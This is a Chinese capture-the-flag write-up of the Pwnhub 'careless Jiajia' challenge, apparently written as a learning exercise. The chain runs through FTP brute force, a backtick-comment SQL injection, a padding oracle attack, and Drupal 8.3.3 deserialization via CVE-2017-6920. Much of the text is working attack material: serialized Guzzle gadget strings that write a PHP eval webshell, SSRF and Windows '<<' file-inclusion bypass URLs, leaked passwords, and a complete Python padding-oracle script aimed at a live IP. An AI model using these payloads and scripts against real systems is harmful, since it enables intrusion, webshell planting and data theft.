Pwnhub-粗心的佳佳-writeup
前言
伏地膜,已经撸了三天两夜,玩ctf思路就僵化,导致有些点不存在漏洞也花了点时间.
总结两点:
1、Oracle padding attack得到明文后,还可以再构造任意长度的自己想要的内容。一般脚本是直接去爆破iv,但是此题存在中间值第一位无法得出,这时候可以通过已知明文去爆破得到中间值。
2、drupal 8 后台 getshell,网上搜索大部分讲的是drupal 7.x 利用PHP filter模块去getshell,但这个模块后面是为了安全考虑移除掉的,这里我分享了两种方式去getshell,第二种是利用了CVE-2017-6920对drupal 8.3.3去写shell,有一定局限性。
一开始就是nmap扫描发现了21、22、80端口
通过爆破得到test/test123可以进入ftp然后下载drupal插件源码,=。=,发现可以列系统目录
询问了一下Ven师傅,说是k1n9师傅已经和他已经反馈了ftp可以穿目录读取文件,也已经修补了,但是不知道为什么我测试的时候还存在,看了一下配置,发现chroot_local_user
打开了,
不过幸好ftp其他权限做的不错,才能没导致直接上传shell之类的非预期。不过还是能够读取到Oracle padding attack中的aes密钥,所以基本无阻构造payload拿到邮箱。不过最后还是老老实实的来按出题人思路来学习一下。
Sql注入
可以看到过滤了很多字符,大部分注释符都没了,然后用了addslashes,但是剩下一个反引号
public function get_by_id(Request $request) {
$nid = $request->get('id');
$nid = $this->set_decrpo($nid);
//echo $nid;
$this->waf($nid);
$nid = addslashes($nid);
$waf_t = 233;
if (strlen((string) $nid) > 16) {
$waf_t = "Id number can't too long";
}
$query = db_query("select nid,title,body_value from node_field_data left join node__body on node_field_data.nid=node__body.entity_id where nid = {$nid} and {$waf_t} = 233")->fetchAssoc();
if (!$query) {
die("nothing!");
}
return array(
'#title' => $this->t($query['title']),
'#markup' => '<p>' . $this->t($query['body_value']) . '</p>',
);
}
反引号之所以可以当注释符是因为会把其中的内容当做表、数据库别名
具体可以看雨师傅博客:http://www.yulegeyu.com/2017/04/11/为什么-backtick-能做注释符/
9 union select 1,(select mail from users_field_data limit 1,1),3 order by @`
另外空格就随便用一些空白字符bypass,我使用的是%0B
所以上面就是可以注入出drupal的管理员邮箱,但是这段payload又需要进行oracle padding attack
Oracle padding attack
NJCTF就出过一道类似的题目,但需要修改的数据不多
private function get_random_token() {
$random_token = '';
for ($i = 0; $i < 16; $i++) {
$random_token .= chr(rand(1, 255));
}
return $random_token;
}
private function set_crpo($id) {
$token = $this->get_random_token();
$c = openssl_encrypt((string) $id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
$retid = base64_encode(base64_encode($token . '|' . $c));
return $retid;
}
private function set_decrpo($id) {
if ($c = base64_decode(base64_decode($id))) {
if ($iv = substr($c, 0, 16)) {
if ($pass = substr($c, 17)) {
if ($u = openssl_decrypt($pass, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)) {
return $u;
} else {
die("haker?bu chun zai de!");
}
} else {
return 1;
}
} else {
return 1;
}
} else {
return 1;
}
}
这里面特别需要注意的是
if ($u = openssl_decrypt($pass, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)) {
return $u;
} else {
die("haker?bu chun zai de!");
}
也就是解密失败或者解出后的值为空的时候,都会结束
此题中,在解出后的值为空值为空的情况下,上面的if判断会导致第16位中间值是猜不出来的
再仔细看看解密过程
一个密文加密后,它的中间值是固定的,这个时候我们知道id为1的文章密文是
SlYxRjRURG90NDVTeXpXVUg5MjdpbnlnSnVxNFhDY09Ca1BSUUd3TjNFbCs=
,他填充后的明文是\x31\x0f\0f....
,根据在前面已经爆破出后15的中间值,其实也就是可以确认iv的值(通过异或0x0f),可以发现这15个值就是爆破第15个数的后的15个值。
最终得到的iv,经过解密,可以得到id为1,也就是表明了这个中间值是正确的。
修改了一份网上的代码
http://www.cnblogs.com/zlhff/p/5519175.html
代码较长,附在文章末尾.
http://54.223.91.224/get_en_news_by_id/ai9zVDEyUVVUb1RDTG1EbHZvWGtSbnp3QzVlaWxScFEyb2x2Y09RYng2WjlwY0pHWEdSNTFyVjBQY3pNVTlFenNBVnlTZWtDNVAvY2dqMWVodHpWbnlvZlBUaUtXcFd6NHlUUGV2c1UxckNCb0NicXVGd25EZ1pEMFVCc0RkeEpmZz09
得到邮箱pwnhubvenneo@126.com
,开始是pwnhubvenneo@21cn.com
,本来还是让猜的,不过...没猜几次然后邮箱号就被封了。
密码可以从这得到是admin888
http://54.223.91.224/get_en_news_by_id/ZERXNjZzcElRVDlldGxGc0VpZlBsM3lWTS8rSjZQVHZ0dTY5eUxWdi9hYys=
Docx技巧
在垃圾桶里面可以翻到一份邮件
https://827977014.docs.qq.com/gzTMmYOm1Zh?opendocxfrom=tim&has_onekey=1
在这里是可以看到修改记录的,一般协作文档会有这个功能,比如石墨
在2017/06/30 21:50:24
可以找到drupal的账号密码
用户名:admin
密码:dAs^f#G*dDf@#%gdfjh
drupal 8 后台 getshell
后台登录
http://54.223.91.224/user/login
从更新页面来看,这是drupal 8.3.3版本,
http://54.223.91.224/admin/reports/updates/update
网上搜了一圈,大部分讲的是drupal 7.x 利用PHP filter模块去getshell
,但是为了安全考虑,7.xx..具体不记得了,然后就没得这个模块。
方法一(主题上传):
这里需要打开Update Manager,这样才能上传主题
http://54.223.91.224/admin/modules
http://54.223.91.224/admin/appearance
比如我上传一个stark_lemon的zip,里面包含着shell,最后会在此目录:\drupal-8.3.3\themes\stark_lemon
但是由于.htaccess的作用,shell会执行不成功,所以应该还需要在zip里面再放一个.htaccess
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/y$|^/y/
RewriteRule . /index.php [L]
RewriteCond %{REQUEST_FILENAME} -s [OR]
RewriteCond %{REQUEST_FILENAME} -l [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^.*$ - [NC,L]
RewriteCond %{REQUEST_URI}::$1 ^(/.+)(.+)::\2$
RewriteRule ^(.*) - [E=BASE:%1]
RewriteRule ^(.*)$ %{ENV:BASE}index.php [NC,L]
测试了一番发现themes
没得写入权限
方法二(CVE-2017-6920):
利用的话,大概就是能够任意反序列化
找一下带有__destruct
的类,发现对此题有用的在这几处
第一处是能够执行无参数函数,比如这题就可以从phpinfo获取到web目录
\drupal-8.3.3\vendor\guzzlehttp\psr7\src\FnStream.php
public function __destruct() {
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
利用
$methods = array();
$methods['close'] = 'phpinfo';
最后生成O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}
触发点
http://54.223.91.224/admin/config/development/configuration/single/import
需要注意的是,里面需要转义一下
这样可以得到web的路径
/var/www/html/3fc8ed24042de4ea073d0e844ae49a5f/
第二处是能够写SHELL
\drupal-8.3.3\vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php
public function __destruct()
{
$this->save($this->filename);
}
public function save($filename)
{
$json = [];
foreach ($this as $cookie) {
/** @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = \GuzzleHttp\json_encode($json);
if (false === file_put_contents($filename, $jsonStr)) {
throw new \RuntimeException("Unable to save file {$filename}");
}
}
看下上面foreach的$this变量
现在主要是想如何给CookieJar中的私有变量cookies给值,注意是私有变量
所以可以整理一下反序列化流程
- 先给CookieJar中的私有变量cookies
- 再去调用FileCookieJar类去生成文件
所以我一开始就是在CookieJar
类中想赋值,结果发现,也就遇到一堆问题
a. 直接在初始化赋值会报错,(private $cookies = xxxxx;)
,因为这里面传入的需要a一个SetCookie对象
在这也可以看到,CookieJar是会初始化的,然后给cookie变量赋值SetCookie变量
b. __construct
写payload
\drupal-8.3.3\vendor\guzzlehttp\guzzle\src\Cookie\CookieJar.php
public function __construct($strictMode = false, $cookieArray = [])
{
$this->strictMode = $strictMode;
foreach ($cookieArray as $cookie) {
if (!($cookie instanceof SetCookie)) {
$cookie = new SetCookie($cookie);
}
$this->setCookie($cookie);
}
}
但是在这里面写payload的话,调用不是按上面反序列化流程走的,也就是最终是没法把shell写入文件的.
最后才发现class FileCookieJar extends CookieJar
,其中CookieJar
里面有一个setCookie
方法,可以给私有变量cookies赋值,所以可以构造exp,生成shell啦。
$cookieFile = "/var/www/html/3fc8ed24042de4ea073d0e844ae49a5f/upload/lemon.php";
$storeSessionCookies = True;
$this->filename = $cookieFile;
$evil = '<?php eval(@$_POST[lemonaaa1]);?>';
$cookieArray = \GuzzleHttp\json_decode('{"Name":"aaa","Value":"bbb","Domain":"'.$evil.'","Path":"\/","Max-Age":null,"Expires":null,"Secure":false,"Discard":false,"HttpOnly":false,"aaa":"bbb"}',true);
$this->setCookie(new SetCookie($cookieArray));
O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:41:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0filename\";s:63:\"/var/www/html/3fc8ed24042de4ea073d0e844ae49a5f/upload/lemon.php\";s:52:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0storeSessionCookies\";b:1;s:36:\"\0GuzzleHttp\\Cookie\\CookieJar\0cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\0GuzzleHttp\\Cookie\\SetCookie\0data\";a:10:{s:4:\"Name\";s:3:\"aaa\";s:5:\"Value\";s:3:\"bbb\";s:6:\"Domain\";s:33:\"<?php eval(@$_POST[lemonaaa1]);?>\";s:4:\"Path\";s:1:\"/\";s:7:\"Max-Age\";N;s:7:\"Expires\";N;s:6:\"Secure\";b:0;s:7:\"Discard\";b:0;s:8:\"HttpOnly\";b:0;s:3:\"aaa\";s:3:\"bbb\";}}}s:39:\"\0GuzzleHttp\\Cookie\\CookieJar\0strictMode\";N;}
得到shell
http://54.223.91.224/upload/lemon.php
pass: lemonaaa1
windows特性
从arp表中发现另外一个地址172.31.15.26
,是台windows
http://54.223.91.224/upload/curl.php?url=172.31.15.26
后台地址
http://54.223.91.224/upload/curl.php?url=172.31.15.26/manage/index.php
账号:admin
密码:dAs^f#G*dDf@#%gdfjh
这个地方测了挺久的注入,没想到就只是单纯的登录,然后密码是开始drupal的后台密码
另外发现这个是能够包含文件的,当时没给部分源码的时候,测的特别奇怪.
http://54.223.191.248/upload/curl.php?url=http://172.31.15.26/incp.php?path=/js/tether.min.js
不可以包含
http://54.223.191.248/upload/curl.php?url=http://172.31.15.26/incp.php?path=/js/tether.min.<<
不可以包含
http://54.223.191.248/upload/curl.php?url=http://172.31.15.26/incp.php?path=/js/tether.min<<
可以包含
后面在网页放了waf的部分源码
54.223.91.224/upload/curl.php?url=172.31.15.26/incp.php?path=index.php
if(stripos(basename($file,'.'.pathinfo($file, PATHINFO_EXTENSION)),".")!==false)
die("error");
if(is_numeric(basename($file,'.'.pathinfo($file, PATHINFO_EXTENSION))))
die("error");
if(pathinfo($file, PATHINFO_EXTENSION)=='')
die("error");
大概就是<<
能够替代任何字符,所以,1234567.txt
变成这样也是可以的1234567<<.txt<<
所以最后就可以拿到一个shell,然后读取目录,获取flag
http://54.223.191.248/upload/curl.php?url=http://172.31.15.26/incp.php?path=../pwnhubflagishere2333333hi.txt<<
flag: pwnhub{flag:佳佳是小姐姐?不存在的23333}
脚本
import sys
from Crypto.Cipher import *
import binascii
import base64
import requests
import urllib
ENCKEY = '1234567812345678'
URL = 'http://54.223.91.224/get_en_news_by_id/'
#URL = 'http://10.211.55.3/test/sql/pwnhub.php?a=id&id='
KOWN_STR = '1'
def main(args):
########################################
# you may config this part by yourself
d = base64.b64decode(base64.b64decode('SlYxRjRURG90NDVTeXpXVUg5MjdpbnlnSnVxNFhDY09Ca1BSUUd3TjNFbCs='))
iv = d[0:16]
ciphertext = d[17:]
plain = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
space = urllib.unquote('%0b')
plain_want = "9 union select 1,(select mail from users_field_data limit 1,1),3 order by @`"
plain_want = plain_want.replace(' ',space)
print plain_want
# you can choose cipher: blowfish/AES/DES/DES3/CAST/ARC2
cipher = "AES"
########################################
block_size = 8
if cipher.lower() == "aes":
block_size = 16
if len(iv) != block_size:
print "[-] IV must be "+str(block_size)+" bytes long(the same as block_size)!"
return False
print "=== Generate Target Ciphertext ==="
if not ciphertext:
print "[-] Encrypt Error!"
return False
print "[+] plaintext is: "+plain
print "[+] iv is: "+hex_s(iv)
print "[+] ciphertext is: "+ hex_s(ciphertext)
print
print "=== Start Padding Oracle Decrypt ==="
print
print "[+] Choosing Cipher: "+cipher.upper()
guess = padding_oracle_decrypt(cipher, ciphertext, iv, block_size)
#guess = True
if guess:
print "[+] Guess intermediary value is: "+hex_s(guess["intermediary"])
print "[+] plaintext = intermediary_value XOR original_IV"
print "[+] Guess plaintext is: "+guess["plaintext"]
print
if plain_want:
print "=== Start Padding Oracle Encrypt ==="
print "[+] plaintext want to encrypt is: "+plain_want
print "[+] Choosing Cipher: "+cipher.upper()
en = padding_oracle_encrypt(cipher, ciphertext, plain_want, iv, block_size)
if en:
print "[+] Encrypt Success!"
print "[+] The ciphertext you want is: "+hex_s(en[block_size:])
print "[+] IV is: "+hex_s(en[:block_size])
print "[+] Base64 Encode: " + base64.b64encode(base64.b64encode(en[:block_size] + '|' + en[block_size:]))
print
print "=== Let's verify the custom encrypt result ==="
print "[+] Decrypt of ciphertext '"+ hex_s(en[block_size:]) +"' is:"
de = decrypt(en[block_size:], en[:block_size], cipher)
if de == add_PKCS5_padding(plain_want, block_size):
print de
print "[+] Bingo!"
else:
print "[-] It seems something wrong happened!"
return False
return True
else:
return False
def padding_oracle_encrypt(cipher, ciphertext, plaintext, iv, block_size=8):
# the last block
guess_cipher = ciphertext[0-block_size:]
plaintext = add_PKCS5_padding(plaintext, block_size)
print "[*] After padding, plaintext becomes to: "+hex_s(plaintext)
print
block = len(plaintext)
iv_nouse = iv # no use here, in fact we only need intermediary
prev_cipher = ciphertext[0-block_size:] # init with the last cipher block
while block > 0:
# we need the intermediary value
tmp = padding_oracle_decrypt_block(cipher, prev_cipher, iv_nouse, block_size, debug=True)
# calculate the iv, the iv is the ciphertext of the previous block
prev_cipher = xor_str( plaintext[block-block_size:block], tmp["intermediary"] )
#save result
print prev_cipher,guess_cipher
guess_cipher = str(prev_cipher) + str(guess_cipher)
block = block - block_size
return guess_cipher
def padding_oracle_decrypt(cipher, ciphertext, iv, block_size=8, debug=True):
cipher_block = split_cipher_block(ciphertext, block_size)
if cipher_block:
result = {}
result["intermediary"] = ''
result["plaintext"] = ''
counter = 0
for c in cipher_block:
if debug:
print "[*] Now try to decrypt block "+str(counter)
print "[*] Block "+str(counter)+"'s ciphertext is: "+hex_s(c)
print
guess = padding_oracle_decrypt_block(cipher, c, iv, block_size, debug)
if guess:
iv = c
result["intermediary"] += guess["intermediary"]
result["plaintext"] += guess["plaintext"]
if debug:
print
print "[+] Block "+str(counter)+" decrypt!"
print "[+] intermediary value is: "+hex_s(guess["intermediary"])
print "[+] The plaintext of block "+str(counter)+" is: "+guess["plaintext"]
print
counter = counter+1
else:
print "[-] padding oracle decrypt error!"
return False
return result
else:
print "[-] ciphertext's block_size is incorrect!"
return False
def padding_oracle_decrypt_block(cipher, ciphertext, iv, block_size=8, debug=True):
result = {}
plain = ''
intermediary = []
iv_p = []
for i in range(1, block_size+1):
iv_try = []
print i
iv_p = change_iv(iv_p, intermediary, i)
for k in range(0, block_size-i):
iv_try.append("\x00")
iv_try.append("\x00")
for b in range(0,256):
iv_tmp = iv_try
iv_tmp[len(iv_tmp)-1] = chr(b)
iv_tmp_s = ''.join("%s" % ch for ch in iv_tmp)
for p in range(0,len(iv_p)):
iv_tmp_s += iv_p[len(iv_p)-1-p]
if i == 15:
temp_save = iv_tmp_s
if i != block_size:
request_res = decrypt_online(ciphertext, iv_tmp_s, cipher)
if 'haker' not in request_res.content:
print request_res.content,b
if debug:
print "[*] Try IV: "+hex_s(iv_tmp_s)
print "[*] Found padding oracle: " + hex_s(plain)
iv_p.append(chr(b))
intermediary.append(chr(b ^ i))
break
else:
iv_tmp_s = chr(b) + temp_save[1:]
request_res = decrypt_online(ciphertext, iv_tmp_s, cipher)
if 'hacked by 23333' in request_res.content:
print request_res.content,b
if debug:
print "[*] Try IV: "+hex_s(iv_tmp_s)
print "[*] Found padding oracle: " + hex_s(plain)
iv_p.append(chr(b))
intermediary.append(chr(b ^ ord(KOWN_STR)))
plain = ''
for ch in range(0, len(intermediary)):
plain += chr( ord(intermediary[len(intermediary)-1-ch]) ^ ord(iv[ch]) )
result["plaintext"] = plain
result["intermediary"] = ''.join("%s" % ch for ch in intermediary)[::-1]
return result
def change_iv(iv_p, intermediary, p):
for i in range(0, len(iv_p)):
iv_p[i] = chr( ord(intermediary[i]) ^ p)
return iv_p
def split_cipher_block(ciphertext, block_size=8):
if len(ciphertext) % block_size != 0:
return False
result = []
length = 0
while length < len(ciphertext):
result.append(ciphertext[length:length+block_size])
length += block_size
return result
def check_PKCS5_padding(plain, p):
if len(plain) % 8 != 0:
return False
plain = plain[::-1]
ch = 0
found = 0
while ch < p:
if plain[ch] == chr(p):
found += 1
ch += 1
if found == p:
return True
else:
return False
def add_PKCS5_padding(plaintext, block_size):
s = ''
if len(plaintext) % block_size == 0:
return plaintext
if len(plaintext) < block_size:
padding = block_size - len(plaintext)
else:
padding = block_size - (len(plaintext) % block_size)
for i in range(0, padding):
plaintext += chr(padding)
return plaintext
def decrypt(ciphertext, iv, cipher):
key = ENCKEY
if cipher.lower() == "des":
o = DES.new(key, DES.MODE_CBC,iv)
elif cipher.lower() == "aes":
o = AES.new(key, AES.MODE_CBC,iv)
elif cipher.lower() == "des3":
o = DES3.new(key, DES3.MODE_CBC,iv)
elif cipher.lower() == "blowfish":
o = Blowfish.new(key, Blowfish.MODE_CBC,iv)
elif cipher.lower() == "cast":
o = CAST.new(key, CAST.MODE_CBC,iv)
elif cipher.lower() == "arc2":
o = ARC2.new(key, ARC2.MODE_CBC,iv)
else:
return False
if len(iv) % 8 != 0:
return False
if len(ciphertext) % 8 != 0:
return False
return o.decrypt(ciphertext)
def encrypt(plaintext, iv, cipher):
key = ENCKEY
if cipher.lower() == "des":
if len(key) != 8:
print "[-] DES key must be 8 bytes long!"
return False
o = DES.new(key, DES.MODE_CBC,iv)
elif cipher.lower() == "aes":
if len(key) != 16 and len(key) != 24 and len(key) != 32:
print "[-] AES key must be 16/24/32 bytes long!"
return False
o = AES.new(key, AES.MODE_CBC,iv)
elif cipher.lower() == "des3":
if len(key) != 16:
print "[-] Triple DES key must be 16 bytes long!"
return False
o = DES3.new(key, DES3.MODE_CBC,iv)
elif cipher.lower() == "blowfish":
o = Blowfish.new(key, Blowfish.MODE_CBC,iv)
elif cipher.lower() == "cast":
o = CAST.new(key, CAST.MODE_CBC,iv)
elif cipher.lower() == "arc2":
o = ARC2.new(key, ARC2.MODE_CBC,iv)
else:
return False
plaintext = add_PKCS5_padding(plaintext, len(iv))
return o.encrypt(plaintext)
def xor_str(a,b):
if len(a) != len(b):
return False
c = ''
for i in range(0, len(a)):
c += chr( ord(a[i]) ^ ord(b[i]) )
return c
def hex_s(str):
re = ''
for i in range(0,len(str)):
re += "\\x"+binascii.b2a_hex(str[i])
return re
def decrypt_online(ciphertext, iv, cipher):
c = base64.b64encode(base64.b64encode(iv + '|' + ciphertext))
url_ = URL + c
try:
r = requests.get(url_)
except:
print 'Error'
r['content'] = 'haker'
return r
def hex2str(h):
c = ''
h = h.split('\\x')[1:]
for char_ in h:
c += binascii.a2b_hex(char_)
print base64.b64encode(base64.b64encode(c))
if __name__ == "__main__":
main(sys.argv)